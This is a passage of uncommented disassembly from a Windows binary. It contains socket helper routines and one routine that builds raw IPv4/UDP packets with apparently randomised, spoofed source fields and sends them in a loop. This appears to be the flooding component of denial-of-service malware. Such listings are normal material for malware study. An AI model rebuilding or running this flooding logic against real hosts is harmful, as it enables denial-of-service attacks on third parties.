[eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call dword_4171F4 cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call dword_417224 cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call dword_41DF6C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call dword_41DF6C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: sub_401E38+80p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DF64 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call dword_4171F4 mov [ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call dword_417224 cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call dword_41722C cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call dword_41DF6C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call dword_41DF6C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: sub_401E38+26Ep ; sub_4020C2+3FBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call dword_417200 push 3E8h call dword_41709C push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_417230 pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp ; sub_4020C2+2F9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41720C mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call dword_417234 or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call dword_417248 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call dword_417234 or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; sub_410649+2Dp ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call dword_41722C cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055E5 proc near ; DATA XREF: sub_405E45+113o var_1358 = dword ptr -1358h var_1354 = dword ptr -1354h var_1350 = dword ptr -1350h var_134C = dword ptr -134Ch var_1348 = dword ptr -1348h var_1344 = dword ptr -1344h var_1340 = dword ptr -1340h var_133C = dword ptr -133Ch var_1338 = dword ptr -1338h var_1334 = dword ptr -1334h var_118D = byte ptr -118Dh var_108D = byte ptr -108Dh var_1087 = dword ptr -1087h var_1083 = dword ptr -1083h var_107F = dword ptr -107Fh var_1078 = dword ptr -1078h var_1074 = byte ptr -1074h var_1058 = byte ptr -1058h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push [ebp+arg_0] lea eax, [ebp+var_1334] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx push 0FFh push 3 push 2 call dword_417218 mov [ebp+var_1078], eax cmp [ebp+var_1078], 0FFFFFFFFh jnz short loc_405643 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: sub_4055E5+49j mov [ebp+var_1340], 1 push 4 lea eax, [ebp+var_1340] push eax push 2 push 0 push [ebp+var_1078] call dword_417204 cmp eax, 0FFFFFFFFh jnz short loc_40567E push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: sub_4055E5+84j push 0 push [ebp+var_1078] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A add esp, 0Ch mov [ebp+var_10], 2 lea eax, [ebp+var_108D] push eax call sub_416B9C pop ecx push eax call dword_417238 mov [ebp+var_E], ax lea eax, [ebp+var_118D] push eax call dword_417244 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp+var_118D] push eax call dword_41723C mov [ebp+var_1344], eax cmp [ebp+var_1344], 0 jnz short loc_405700 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: sub_4055E5+106j mov eax, [ebp+var_1344] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax loc_405710: ; CODE XREF: sub_4055E5+EAj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405729 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_4055E5+12Fj push 1060h push 0 lea eax, [ebp+var_1074] push eax call sub_416B6A add esp, 0Ch lea eax, [ebp+var_1074] mov [ebp+var_133C], eax lea eax, [ebp+var_1058] mov [ebp+var_14], eax mov eax, [ebp+var_133C] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov byte ptr [eax+9], 11h mov eax, [ebp+var_133C] mov ecx, [ebp+var_C] mov [eax+10h], ecx mov eax, [ebp+var_133C] mov cx, [ebp+var_E] mov [eax+16h], cx and [ebp+var_1338], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j mov eax, [ebp+var_1338] inc eax mov [ebp+var_1338], eax loc_4057B6: ; CODE XREF: sub_4055E5+1C2j mov eax, [ebp+var_1338] cmp eax, [ebp+var_1087] jge loc_405E27 mov eax, [ebp+var_107F] mov [ebp+var_1358], eax cmp [ebp+var_1358], 1 jz short loc_4057FC cmp [ebp+var_1358], 2 jz loc_405924 cmp [ebp+var_1358], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: sub_4055E5+1F6j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E add esp, 0Ch loc_40581E: ; CODE XREF: sub_4055E5+2BFj push [ebp+var_14] call sub_416B40 pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: sub_4055E5+247j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: sub_4055E5+1FFj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E add esp, 0Ch loc_405946: ; CODE XREF: sub_4055E5+3CBj push [ebp+var_14] call sub_416B40 pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_4055E5+36Fj push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: sub_4055E5+20Cj push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_134C], eax cmp [ebp+var_134C], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: sub_4055E5+444j cmp [ebp+var_134C], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E add esp, 0Ch loc_405A81: ; CODE XREF: sub_4055E5+522j push [ebp+var_14] call sub_416B40 pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: sub_4055E5+4AAj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: sub_4055E5+474j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E add esp, 0Ch loc_405BA9: ; CODE XREF: sub_4055E5+62Ej push [ebp+var_14] call sub_416B40 pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: sub_4055E5+5D2j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E add esp, 1Ch loc_405C6F: ; CODE XREF: sub_4055E5+468j ; sub_4055E5+59Dj jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_4055E5+212j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E add esp, 0Ch loc_405C93: ; CODE XREF: sub_4055E5+33Aj ; sub_4055E5+427j ... push [ebp+var_14] call sub_416B40 pop ecx mov [ebp+var_1354], eax and [ebp+var_1350], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_4055E5+6F9j mov eax, [ebp+var_1350] inc eax mov [ebp+var_1350], eax loc_405CB8: ; CODE XREF: sub_4055E5+6C4j mov eax, [ebp+var_1350] cmp eax, [ebp+var_1354] jnb short loc_405CE0 mov eax, [ebp+var_14] add eax, [ebp+var_1350] mov al, [eax] shl al, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1350] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_4055E5+6DFj mov eax, [ebp+var_1354] add eax, 1Ch push eax call dword_417238 mov ecx, [ebp+var_133C] mov [ecx+2], ax call sub_41043F push eax call dword_417238 mov ecx, [ebp+var_133C] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp+var_133C] mov [ecx+8], al push 2 push offset dword_41F028 call dword_417244 push eax call sub_4040E8 pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ch], eax mov eax, [ebp+var_1354] add eax, 14h push eax push [ebp+var_133C] call sub_40407D pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ah], ax movzx eax, [ebp+var_E] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp+var_133C] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: sub_4055E5+789j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 mov ecx, [ebp+var_133C] mov [ecx+14h], ax mov eax, [ebp+var_1354] add eax, 8 push eax call dword_417238 mov ecx, [ebp+var_133C] mov [ecx+18h], ax push 10h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+var_1354] add eax, 1Ch push eax lea eax, [ebp+var_1074] push eax push [ebp+var_1078] call dword_417250 mov [ebp+var_1348], eax cmp [ebp+var_1348], 0FFFFFFFFh jnz short loc_405E08 push [ebp+var_1334] call sub_409763 pop ecx push [ebp+var_1078] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: sub_4055E5+805j push [ebp+var_1083] call dword_41709C mov eax, [ebp+var_1334] cmp dword ptr [eax+4], 0 jz short loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: sub_4055E5+839j jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: sub_4055E5+1DDj ; sub_4055E5+83Bj push [ebp+var_1078] call sub_4053B1 pop ecx push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: sub_4055E5+59j ; sub_4055E5+94j ... leave retn 4 sub_4055E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; 